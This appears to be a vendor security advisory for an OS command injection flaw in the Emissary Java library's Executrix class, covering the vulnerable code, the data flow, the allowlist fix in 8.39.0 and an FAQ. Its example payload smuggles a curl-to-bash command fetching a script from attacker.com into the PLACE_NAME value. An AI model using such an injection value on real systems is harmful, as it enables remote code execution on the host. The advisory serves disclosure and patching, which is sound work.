Summary
The Executrix utility class constructed shell commands by concatenating
configuration-derived values, including the PLACE_NAME parameter, with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Details
Vulnerable code, Executrix.java
Insufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces, shell metacharacters pass through
Shell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
Data flow
PLACE_NAMEis read from a configuration fileExecutrixapplies only a space-to-underscore replacement- The
placeNameis used to construct temporary directory paths (tmpNames[DIR]) tmpNames[DIR]is concatenated into a shell command string- The command is executed via
/bin/sh -c
Example payload
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Workarounds
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290, validate placename with an allowlist
- Original report: GHSA-wjqm-p579-x3ww
Impact
- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative
access or a compromised configuration source)
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-35581 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.39.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Fixed in PR #1290,
merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs,
backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Frequently Asked Questions
- What is CVE-2026-35581? CVE-2026-35581 is a high-severity OS command injection vulnerability in gov.nsa.emissary:emissary (maven), affecting versions < 8.39.0. It is fixed in 8.39.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-35581? CVE-2026-35581 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of gov.nsa.emissary:emissary are affected by CVE-2026-35581? gov.nsa.emissary:emissary (maven) versions < 8.39.0 is affected.
- Is there a fix for CVE-2026-35581? Yes. CVE-2026-35581 is fixed in 8.39.0. Upgrade to this version or later.
- Is CVE-2026-35581 exploitable, and should I be worried? Whether CVE-2026-35581 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-35581 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-35581? Upgrade
gov.nsa.emissary:emissaryto 8.39.0 or later.